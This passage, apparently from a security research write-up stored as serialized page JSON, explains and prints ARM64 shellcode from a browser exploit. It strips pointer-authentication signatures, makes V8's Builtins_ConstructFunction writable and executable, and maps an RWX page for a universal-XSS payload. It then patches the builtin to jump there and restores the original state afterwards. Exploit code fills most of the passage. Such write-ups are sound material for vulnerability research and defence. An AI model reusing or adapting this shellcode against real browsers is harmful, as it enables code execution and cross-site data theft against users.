",{"type":23,"tag":71,"props":149832,"children":149834},{"className":149833},[],[149835],{"type":29,"value":149803},{"type":23,"tag":2801,"props":149837,"children":149838},{},[149839,149841,149846],{"type":29,"value":149840},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":71,"props":149842,"children":149844},{"className":149843},[],[149845],{"type":29,"value":149803},{"type":29,"value":149847},", which now proceeds normally",{"type":23,"tag":32,"props":149849,"children":149850},{},[149851],{"type":29,"value":149852},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":64,"props":149854,"children":149858},{"code":149855,"language":149856,"meta":7,"className":149857,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[149859],{"type":23,"tag":71,"props":149860,"children":149861},{"__ignoreMap":7},[149862,149870,149878,149886,149894,149901,149909,149917,149925,149933,149940,149948,149956,149964,149972,149980,149987,149995,150003,150011,150019,150027,150035,150042,150050,150057,150065,150073,150081,150088,150096,150104,150112,150120,150127,150134,150141,150148,150156,150164,150172,150179,150187,150195,150202,150210,150218,150226,150233,150241,150249,150257,150265,150272,150279,150287],{"type":23,"tag":75,"props":149863,"children":149864},{"class":77,"line":78},[149865],{"type":23,"tag":75,"props":149866,"children":149867},{},[149868],{"type":29,"value":149869},"// get return addr to x0\n",{"type":23,"tag":75,"props":149871,"children":149872},{"class":77,"line":100},[149873],{"type":23,"tag":75,"props":149874,"children":149875},{},[149876],{"type":29,"value":149877},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":75,"props":149879,"children":149880},{"class":77,"line":121},[149881],{"type":23,"tag":75,"props":149882,"children":149883},{},[149884],{"type":29,"value":149885},"// strip pac signature from return address\n",{"type":23,"tag":75,"props":149887,"children":149888},{"class":77,"line":138},[149889],{"type":23,"tag":75,"props":149890,"children":149891},{},[149892],{"type":29,"value":149893},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":75,"props":149895,"children":149896},{"class":77,"line":161},[149897],{"type":23,"tag":75,"props":149898,"children":149899},{"emptyLinePlaceholder":15},[149900],{"type":29,"value":276},{"type":23,"tag":75,"props":149902,"children":149903},{"class":77,"line":196},[149904],{"type":23,"tag":75,"props":149905,"children":149906},{},[149907],{"type":29,"value":149908},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":75,"props":149910,"children":149911},{"class":77,"line":220},[149912],{"type":23,"tag":75,"props":149913,"children":149914},{},[149915],{"type":29,"value":149916},"movz x1, #0x610c\n",{"type":23,"tag":75,"props":149918,"children":149919},{"class":77,"line":248},[149920],{"type":23,"tag":75,"props":149921,"children":149922},{},[149923],{"type":29,"value":149924},"sub x0, x0, x1\n",{"type":23,"tag":75,"props":149926,"children":149927},{"class":77,"line":270},[149928],{"type":23,"tag":75,"props":149929,"children":149930},{},[149931],{"type":29,"value":149932},"mov x5, x0\n",{"type":23,"tag":75,"props":149934,"children":149935},{"class":77,"line":279},[149936],{"type":23,"tag":75,"props":149937,"children":149938},{"emptyLinePlaceholder":15},[149939],{"type":29,"value":276},{"type":23,"tag":75,"props":149941,"children":149942},{"class":77,"line":303},[149943],{"type":23,"tag":75,"props":149944,"children":149945},{},[149946],{"type":29,"value":149947},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":75,"props":149949,"children":149950},{"class":77,"line":322},[149951],{"type":23,"tag":75,"props":149952,"children":149953},{},[149954],{"type":29,"value":149955},"movz x1, #0xf000\n",{"type":23,"tag":75,"props":149957,"children":149958},{"class":77,"line":340},[149959],{"type":23,"tag":75,"props":149960,"children":149961},{},[149962],{"type":29,"value":149963},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":75,"props":149965,"children":149966},{"class":77,"line":349},[149967],{"type":23,"tag":75,"props":149968,"children":149969},{},[149970],{"type":29,"value":149971},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":75,"props":149973,"children":149974},{"class":77,"line":363},[149975],{"type":23,"tag":75,"props":149976,"children":149977},{},[149978],{"type":29,"value":149979},"and x4, x5, x1\n",{"type":23,"tag":75,"props":149981,"children":149982},{"class":77,"line":656},[149983],{"type":23,"tag":75,"props":149984,"children":149985},{"emptyLinePlaceholder":15},[149986],{"type":29,"value":276},{"type":23,"tag":75,"props":149988,"children":149989},{"class":77,"line":705},[149990],{"type":23,"tag":75,"props":149991,"children":149992},{},[149993],{"type":29,"value":149994},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":75,"props":149996,"children":149997},{"class":77,"line":787},[149998],{"type":23,"tag":75,"props":149999,"children":150000},{},[150001],{"type":29,"value":150002},"mov x0, x4\n",{"type":23,"tag":75,"props":150004,"children":150005},{"class":77,"line":826},[150006],{"type":23,"tag":75,"props":150007,"children":150008},{},[150009],{"type":29,"value":150010},"mov x1, #0x2000\n",{"type":23,"tag":75,"props":150012,"children":150013},{"class":77,"line":834},[150014],{"type":23,"tag":75,"props":150015,"children":150016},{},[150017],{"type":29,"value":150018},"mov x2, #0x7\n",{"type":23,"tag":75,"props":150020,"children":150021},{"class":77,"line":881},[150022],{"type":23,"tag":75,"props":150023,"children":150024},{},[150025],{"type":29,"value":150026},"mov x8, #226\n",{"type":23,"tag":75,"props":150028,"children":150029},{"class":77,"line":3355},[150030],{"type":23,"tag":75,"props":150031,"children":150032},{},[150033],{"type":29,"value":150034},"svc #0\n",{"type":23,"tag":75,"props":150036,"children":150037},{"class":77,"line":3390},[150038],{"type":23,"tag":75,"props":150039,"children":150040},{"emptyLinePlaceholder":15},[150041],{"type":29,"value":276},{"type":23,"tag":75,"props":150043,"children":150044},{"class":77,"line":3423},[150045],{"type":23,"tag":75,"props":150046,"children":150047},{},[150048],{"type":29,"value":150049},"mov x6, x5\n",{"type":23,"tag":75,"props":150051,"children":150052},{"class":77,"line":3436},[150053],{"type":23,"tag":75,"props":150054,"children":150055},{"emptyLinePlaceholder":15},[150056],{"type":29,"value":276},{"type":23,"tag":75,"props":150058,"children":150059},{"class":77,"line":3449},[150060],{"type":23,"tag":75,"props":150061,"children":150062},{},[150063],{"type":29,"value":150064},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":75,"props":150066,"children":150067},{"class":77,"line":3457},[150068],{"type":23,"tag":75,"props":150069,"children":150070},{},[150071],{"type":29,"value":150072},"mov x0, #0\n",{"type":23,"tag":75,"props":150074,"children":150075},{"class":77,"line":3465},[150076],{"type":23,"tag":75,"props":150077,"children":150078},{},[150079],{"type":29,"value":150080},"mov x1, #0x1000\n",{"type":23,"tag":75,"props":150082,"children":150083},{"class":77,"line":3473},[150084],{"type":23,"tag":75,"props":150085,"children":150086},{},[150087],{"type":29,"value":150018},{"type":23,"tag":75,"props":150089,"children":150090},{"class":77,"line":3481},[150091],{"type":23,"tag":75,"props":150092,"children":150093},{},[150094],{"type":29,"value":150095},"mov x3, #34\n",{"type":23,"tag":75,"props":150097,"children":150098},{"class":77,"line":3524},[150099],{"type":23,"tag":75,"props":150100,"children":150101},{},[150102],{"type":29,"value":150103},"mov x4, #-1\n",{"type":23,"tag":75,"props":150105,"children":150106},{"class":77,"line":4890},[150107],{"type":23,"tag":75,"props":150108,"children":150109},{},[150110],{"type":29,"value":150111},"mov x5, #0\n",{"type":23,"tag":75,"props":150113,"children":150114},{"class":77,"line":4937},[150115],{"type":23,"tag":75,"props":150116,"children":150117},{},[150118],{"type":29,"value":150119},"mov x8, #222\n",{"type":23,"tag":75,"props":150121,"children":150122},{"class":77,"line":4950},[150123],{"type":23,"tag":75,"props":150124,"children":150125},{},[150126],{"type":29,"value":150034},{"type":23,"tag":75,"props":150128,"children":150129},{"class":77,"line":4958},[150130],{"type":23,"tag":75,"props":150131,"children":150132},{"emptyLinePlaceholder":15},[150133],{"type":29,"value":276},{"type":23,"tag":75,"props":150135,"children":150136},{"class":77,"line":4967},[150137],{"type":23,"tag":75,"props":150138,"children":150139},{},[150140],{"type":29,"value":149932},{"type":23,"tag":75,"props":150142,"children":150143},{"class":77,"line":4975},[150144],{"type":23,"tag":75,"props":150145,"children":150146},{"emptyLinePlaceholder":15},[150147],{"type":29,"value":276},{"type":23,"tag":75,"props":150149,"children":150150},{"class":77,"line":5016},[150151],{"type":23,"tag":75,"props":150152,"children":150153},{},[150154],{"type":29,"value":150155},"// at this point:\n",{"type":23,"tag":75,"props":150157,"children":150158},{"class":77,"line":5025},[150159],{"type":23,"tag":75,"props":150160,"children":150161},{},[150162],{"type":29,"value":150163},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":75,"props":150165,"children":150166},{"class":77,"line":5033},[150167],{"type":23,"tag":75,"props":150168,"children":150169},{},[150170],{"type":29,"value":150171},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":75,"props":150173,"children":150174},{"class":77,"line":5041},[150175],{"type":23,"tag":75,"props":150176,"children":150177},{"emptyLinePlaceholder":15},[150178],{"type":29,"value":276},{"type":23,"tag":75,"props":150180,"children":150181},{"class":77,"line":5050},[150182],{"type":23,"tag":75,"props":150183,"children":150184},{},[150185],{"type":29,"value":150186},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":75,"props":150188,"children":150189},{"class":77,"line":5058},[150190],{"type":23,"tag":75,"props":150191,"children":150192},{},[150193],{"type":29,"value":150194},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":75,"props":150196,"children":150197},{"class":77,"line":5083},[150198],{"type":23,"tag":75,"props":150199,"children":150200},{"emptyLinePlaceholder":15},[150201],{"type":29,"value":276},{"type":23,"tag":75,"props":150203,"children":150204},{"class":77,"line":5108},[150205],{"type":23,"tag":75,"props":150206,"children":150207},{},[150208],{"type":29,"value":150209},"// wipe from cache\n",{"type":23,"tag":75,"props":150211,"children":150212},{"class":77,"line":5137},[150213],{"type":23,"tag":75,"props":150214,"children":150215},{},[150216],{"type":29,"value":150217},"mov x0, x5\n",{"type":23,"tag":75,"props":150219,"children":150220},{"class":77,"line":5163},[150221],{"type":23,"tag":75,"props":150222,"children":150223},{},[150224],{"type":29,"value":150225},"{WIPE_CACHE}\n",{"type":23,"tag":75,"props":150227,"children":150228},{"class":77,"line":5172},[150229],{"type":23,"tag":75,"props":150230,"children":150231},{"emptyLinePlaceholder":15},[150232],{"type":29,"value":276},{"type":23,"tag":75,"props":150234,"children":150235},{"class":77,"line":5206},[150236],{"type":23,"tag":75,"props":150237,"children":150238},{},[150239],{"type":29,"value":150240},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":75,"props":150242,"children":150243},{"class":77,"line":5214},[150244],{"type":23,"tag":75,"props":150245,"children":150246},{},[150247],{"type":29,"value":150248},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":75,"props":150250,"children":150251},{"class":77,"line":5227},[150252],{"type":23,"tag":75,"props":150253,"children":150254},{},[150255],{"type":29,"value":150256},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":75,"props":150258,"children":150259},{"class":77,"line":5259},[150260],{"type":23,"tag":75,"props":150261,"children":150262},{},[150263],{"type":29,"value":150264},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":75,"props":150266,"children":150267},{"class":77,"line":5315},[150268],{"type":23,"tag":75,"props":150269,"children":150270},{"emptyLinePlaceholder":15},[150271],{"type":29,"value":276},{"type":23,"tag":75,"props":150273,"children":150274},{"class":77,"line":5328},[150275],{"type":23,"tag":75,"props":150276,"children":150277},{},[150278],{"type":29,"value":150209},{"type":23,"tag":75,"props":150280,"children":150281},{"class":77,"line":5336},[150282],{"type":23,"tag":75,"props":150283,"children":150284},{},[150285],{"type":29,"value":150286},"mov x0, x6\n",{"type":23,"tag":75,"props":150288,"children":150289},{"class":77,"line":5344},[150290],{"type":23,"tag":75,"props":150291,"children":150292},{},[150293],{"type":29,"value":150225},{"type":23,"tag":32,"props":150295,"children":150296},{},[150297,150299,150305,150307,150312,150314,150320],{"type":29,"value":150298},"In the snippet above, ",{"type":23,"tag":71,"props":150300,"children":150302},{"className":150301},[],[150303],{"type":29,"value":150304},"new_compile_instrs",{"type":29,"value":150306}," refers to the instructions written to the beginning of ",{"type":23,"tag":71,"props":150308,"children":150310},{"className":150309},[],[150311],{"type":29,"value":149803},{"type":29,"value":150313}," that invoke the ",{"type":23,"tag":71,"props":150315,"children":150317},{"className":150316},[],[150318],{"type":29,"value":150319},"uxss_sc",{"type":29,"value":150321}," mmap-ed shellcode:",{"type":23,"tag":64,"props":150323,"children":150325},{"code":150324,"language":149856,"meta":7,"className":149857,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[150326],{"type":23,"tag":71,"props":150327,"children":150328},{"__ignoreMap":7},[150329,150337,150344,150352,150360,150367,150375,150383,150390,150398,150406,150413,150421],{"type":23,"tag":75,"props":150330,"children":150331},{"class":77,"line":78},[150332],{"type":23,"tag":75,"props":150333,"children":150334},{},[150335],{"type":29,"value":150336},"bti c\n",{"type":23,"tag":75,"props":150338,"children":150339},{"class":77,"line":100},[150340],{"type":23,"tag":75,"props":150341,"children":150342},{"emptyLinePlaceholder":15},[150343],{"type":29,"value":276},{"type":23,"tag":75,"props":150345,"children":150346},{"class":77,"line":121},[150347],{"type":23,"tag":75,"props":150348,"children":150349},{},[150350],{"type":29,"value":150351},"// store registers that will be overwritten\n",{"type":23,"tag":75,"props":150353,"children":150354},{"class":77,"line":138},[150355],{"type":23,"tag":75,"props":150356,"children":150357},{},[150358],{"type":29,"value":150359},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":75,"props":150361,"children":150362},{"class":77,"line":161},[150363],{"type":23,"tag":75,"props":150364,"children":150365},{"emptyLinePlaceholder":15},[150366],{"type":29,"value":276},{"type":23,"tag":75,"props":150368,"children":150369},{"class":77,"line":196},[150370],{"type":23,"tag":75,"props":150371,"children":150372},{},[150373],{"type":29,"value":150374},"// get current rip into x15\n",{"type":23,"tag":75,"props":150376,"children":150377},{"class":77,"line":220},[150378],{"type":23,"tag":75,"props":150379,"children":150380},{},[150381],{"type":29,"value":150382},"adr x15, .\n",{"type":23,"tag":75,"props":150384,"children":150385},{"class":77,"line":248},[150386],{"type":23,"tag":75,"props":150387,"children":150388},{"emptyLinePlaceholder":15},[150389],{"type":29,"value":276},{"type":23,"tag":75,"props":150391,"children":150392},{"class":77,"line":270},[150393],{"type":23,"tag":75,"props":150394,"children":150395},{},[150396],{"type":29,"value":150397},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":75,"props":150399,"children":150400},{"class":77,"line":279},[150401],{"type":23,"tag":75,"props":150402,"children":150403},{},[150404],{"type":29,"value":150405},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":75,"props":150407,"children":150408},{"class":77,"line":303},[150409],{"type":23,"tag":75,"props":150410,"children":150411},{"emptyLinePlaceholder":15},[150412],{"type":29,"value":276},{"type":23,"tag":75,"props":150414,"children":150415},{"class":77,"line":322},[150416],{"type":23,"tag":75,"props":150417,"children":150418},{},[150419],{"type":29,"value":150420},"// jump to uxss_sc\n",{"type":23,"tag":75,"props":150422,"children":150423},{"class":77,"line":340},[150424],{"type":23,"tag":75,"props":150425,"children":150426},{},[150427],{"type":29,"value":150428},"blr x15\n",{"type":23,"tag":32,"props":150430,"children":150431},{},[150432,150437,150439,150444],{"type":23,"tag":71,"props":150433,"children":150435},{"className":150434},[],[150436],{"type":29,"value":150319},{"type":29,"value":150438}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":71,"props":150440,"children":150442},{"className":150441},[],[150443],{"type":29,"value":149803},{"type":29,"value":150445}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":64,"props":150447,"children":150449},{"code":150448,"language":149856,"meta":7,"className":149857,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[150450],{"type":23,"tag":71,"props":150451,"children":150452},{"__ignoreMap":7},[150453,150460,150467,150475,150483,150491,150499,150507,150515,150523,150531,150539,150547,150555,150563,150571,150579,150587,150595],{"type":23,"tag":75,"props":150454,"children":150455},{"class":77,"line":78},[150456],{"type":23,"tag":75,"props":150457,"children":150458},{},[150459],{"type":29,"value":150336},{"type":23,"tag":75,"props":150461,"children":150462},{"class":77,"line":100},[150463],{"type":23,"tag":75,"props":150464,"children":150465},{"emptyLinePlaceholder":15},[150466],{"type":29,"value":276},{"type":23,"tag":75,"props":150468,"children":150469},{"class":77,"line":121},[150470],{"type":23,"tag":75,"props":150471,"children":150472},{},[150473],{"type":29,"value":150474},"// Save full register context\n",{"type":23,"tag":75,"props":150476,"children":150477},{"class":77,"line":138},[150478],{"type":23,"tag":75,"props":150479,"children":150480},{},[150481],{"type":29,"value":150482},"stp x0,  x1,  [sp, #-16]!\n",{"type":23,"tag":75,"props":150484,"children":150485},{"class":77,"line":161},[150486],{"type":23,"tag":75,"props":150487,"children":150488},{},[150489],{"type":29,"value":150490},"stp x2,  x3,  [sp, #-16]!\n",{"type":23,"tag":75,"props":150492,"children":150493},{"class":77,"line":196},[150494],{"type":23,"tag":75,"props":150495,"children":150496},{},[150497],{"type":29,"value":150498},"stp x4,  x5,  [sp, #-16]!\n",{"type":23,"tag":75,"props":150500,"children":150501},{"class":77,"line":220},[150502],{"type":23,"tag":75,"props":150503,"children":150504},{},[150505],{"type":29,"value":150506},"stp x6,  x7,  [sp, #-16]!\n",{"type":23,"tag":75,"props":150508,"children":150509},{"class":77,"line":248},[150510],{"type":23,"tag":75,"props":150511,"children":150512},{},[150513],{"type":29,"value":150514},"stp x8,  x9,  [sp, #-16]!\n",{"type":23,"tag":75,"props":150516,"children":150517},{"class":77,"line":270},[150518],{"type":23,"tag":75,"props":150519,"children":150520},{},[150521],{"type":29,"value":150522},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":75,"props":150524,"children":150525},{"class":77,"line":279},[150526],{"type":23,"tag":75,"props":150527,"children":150528},{},[150529],{"type":29,"value":150530},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":75,"props":150532,"children":150533},{"class":77,"line":303},[150534],{"type":23,"tag":75,"props":150535,"children":150536},{},[150537],{"type":29,"value":150538},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":75,"props":150540,"children":150541},{"class":77,"line":322},[150542],{"type":23,"tag":75,"props":150543,"children":150544},{},[150545],{"type":29,"value":150546},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":75,"props":150548,"children":150549},{"class":77,"line":340},[150550],{"type":23,"tag":75,"props":150551,"children":150552},{},[150553],{"type":29,"value":150554},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":75,"props":150556,"children":150557},{"class":77,"line":349},[150558],{"type":23,"tag":75,"props":150559,"children":150560},{},[150561],{"type":29,"value":150562},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":75,"props":150564,"children":150565},{"class":77,"line":363},[150566],{"type":23,"tag":75,"props":150567,"children":150568},{},[150569],{"type":29,"value":150570},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":75,"props":150572,"children":150573},{"class":77,"line":656},[150574],{"type":23,"tag":75,"props":150575,"children":150576},{},[150577],{"type":29,"value":150578},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":75,"props":150580,"children":150581},{"class":77,"line":705},[150582],{"type":23,"tag":75,"props":150583,"children":150584},{},[150585],{"type":29,"value":150586},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":75,"props":150588,"children":150589},{"class":77,"line":787},[150590],{"type":23,"tag":75,"props":150591,"children":150592},{},[150593],{"type":29,"value":150594},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":75,"props":150596,"children":150597},{"class":77,"line":826},[150598],{"type":23,"tag":75,"props":150599,"children":150600},{},[150601],{"type":29,"value":150602},"str lr, [sp, #-16]!\n",{"type":23,"tag":32,"props":150604,"children":150605},{},[150606],{"type":29,"value":150607},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":32,"props":150609,"children":150610},{},[150611,150613,150618],{"type":29,"value":150612},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":71,"props":150614,"children":150616},{"className":150615},[],[150617],{"type":29,"value":149803},{"type":29,"value":150619},", and then returns execution to its beginning:",{"type":23,"tag":64,"props":150621,"children":150623},{"code":150622,"language":149856,"meta":7,"className":149857,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[150624],{"type":23,"tag":71,"props":150625,"children":150626},{"__ignoreMap":7},[150627,150635,150643,150651,150659,150667,150674,150681,150689,150696,150703,150711,150719,150727,150735,150743,150751,150759,150767,150775,150783,150791,150799,150807,150815,150823,150831,150838,150846,150854,150862,150870,150878,150885,150893,150901,150908],{"type":23,"tag":75,"props":150628,"children":150629},{"class":77,"line":78},[150630],{"type":23,"tag":75,"props":150631,"children":150632},{},[150633],{"type":29,"value":150634},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":75,"props":150636,"children":150637},{"class":77,"line":100},[150638],{"type":23,"tag":75,"props":150639,"children":150640},{},[150641],{"type":29,"value":150642},"ldr lr, [sp], #16\n",{"type":23,"tag":75,"props":150644,"children":150645},{"class":77,"line":121},[150646],{"type":23,"tag":75,"props":150647,"children":150648},{},[150649],{"type":29,"value":150650},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":75,"props":150652,"children":150653},{"class":77,"line":138},[150654],{"type":23,"tag":75,"props":150655,"children":150656},{},[150657],{"type":29,"value":150658},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":75,"props":150660,"children":150661},{"class":77,"line":161},[150662],{"type":23,"tag":75,"props":150663,"children":150664},{},[150665],{"type":29,"value":150666},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":75,"props":150668,"children":150669},{"class":77,"line":196},[150670],{"type":23,"tag":75,"props":150671,"children":150672},{"emptyLinePlaceholder":15},[150673],{"type":29,"value":276},{"type":23,"tag":75,"props":150675,"children":150676},{"class":77,"line":220},[150677],{"type":23,"tag":75,"props":150678,"children":150679},{},[150680],{"type":29,"value":150209},{"type":23,"tag":75,"props":150682,"children":150683},{"class":77,"line":248},[150684],{"type":23,"tag":75,"props":150685,"children":150686},{},[150687],{"type":29,"value":150688},"mov x0, lr\n",{"type":23,"tag":75,"props":150690,"children":150691},{"class":77,"line":270},[150692],{"type":23,"tag":75,"props":150693,"children":150694},{},[150695],{"type":29,"value":150225},{"type":23,"tag":75,"props":150697,"children":150698},{"class":77,"line":279},[150699],{"type":23,"tag":75,"props":150700,"children":150701},{"emptyLinePlaceholder":15},[150702],{"type":29,"value":276},{"type":23,"tag":75,"props":150704,"children":150705},{"class":77,"line":303},[150706],{"type":23,"tag":75,"props":150707,"children":150708},{},[150709],{"type":29,"value":150710},"// restore original registers\n",{"type":23,"tag":75,"props":150712,"children":150713},{"class":77,"line":322},[150714],{"type":23,"tag":75,"props":150715,"children":150716},{},[150717],{"type":29,"value":150718},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":75,"props":150720,"children":150721},{"class":77,"line":340},[150722],{"type":23,"tag":75,"props":150723,"children":150724},{},[150725],{"type":29,"value":150726},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":75,"props":150728,"children":150729},{"class":77,"line":349},[150730],{"type":23,"tag":75,"props":150731,"children":150732},{},[150733],{"type":29,"value":150734},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":75,"props":150736,"children":150737},{"class":77,"line":363},[150738],{"type":23,"tag":75,"props":150739,"children":150740},{},[150741],{"type":29,"value":150742},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":75,"props":150744,"children":150745},{"class":77,"line":656},[150746],{"type":23,"tag":75,"props":150747,"children":150748},{},[150749],{"type":29,"value":150750},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":75,"props":150752,"children":150753},{"class":77,"line":705},[150754],{"type":23,"tag":75,"props":150755,"children":150756},{},[150757],{"type":29,"value":150758},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":75,"props":150760,"children":150761},{"class":77,"line":787},[150762],{"type":23,"tag":75,"props":150763,"children":150764},{},[150765],{"type":29,"value":150766},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":75,"props":150768,"children":150769},{"class":77,"line":826},[150770],{"type":23,"tag":75,"props":150771,"children":150772},{},[150773],{"type":29,"value":150774},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":75,"props":150776,"children":150777},{"class":77,"line":834},[150778],{"type":23,"tag":75,"props":150779,"children":150780},{},[150781],{"type":29,"value":150782},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":75,"props":150784,"children":150785},{"class":77,"line":881},[150786],{"type":23,"tag":75,"props":150787,"children":150788},{},[150789],{"type":29,"value":150790},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":75,"props":150792,"children":150793},{"class":77,"line":3355},[150794],{"type":23,"tag":75,"props":150795,"children":150796},{},[150797],{"type":29,"value":150798},"ldp x8,  x9,  [sp], #16\n",{"type":23,"tag":75,"props":150800,"children":150801},{"class":77,"line":3390},[150802],{"type":23,"tag":75,"props":150803,"children":150804},{},[150805],{"type":29,"value":150806},"ldp x6,  x7,  [sp], #16\n",{"type":23,"tag":75,"props":150808,"children":150809},{"class":77,"line":3423},[150810],{"type":23,"tag":75,"props":150811,"children":150812},{},[150813],{"type":29,"value":150814},"ldp x4,  x5,  [sp], #16\n",{"type":23,"tag":75,"props":150816,"children":150817},{"class":77,"line":3436},[150818],{"type":23,"tag":75,"props":150819,"children":150820},{},[150821],{"type":29,"value":150822},"ldp x2,  x3,  [sp], #16\n",{"type":23,"tag":75,"props":150824,"children":150825},{"class":77,"line":3449},[150826],{"type":23,"tag":75,"props":150827,"children":150828},{},[150829],{"type":29,"value":150830},"ldp x0,  x1,  [sp], #16\n",{"type":23,"tag":75,"props":150832,"children":150833},{"class":77,"line":3457},[150834],{"type":23,"tag":75,"props":150835,"children":150836},{"emptyLinePlaceholder":15},[150837],{"type":29,"value":276},{"type":23,"tag":75,"props":150839,"children":150840},{"class":77,"line":3465},[150841],{"type":23,"tag":75,"props":150842,"children":150843},{},[150844],{"type":29,"value":150845},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":75,"props":150847,"children":150848},{"class":77,"line":3473},[150849],{"type":23,"tag":75,"props":150850,"children":150851},{},[150852],{"type":29,"value":150853},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":75,"props":150855,"children":150856},{"class":77,"line":3481},[150857],{"type":23,"tag":75,"props":150858,"children":150859},{},[150860],{"type":29,"value":150861},"// This is done so lr isnt clobbered and ConstructFunction 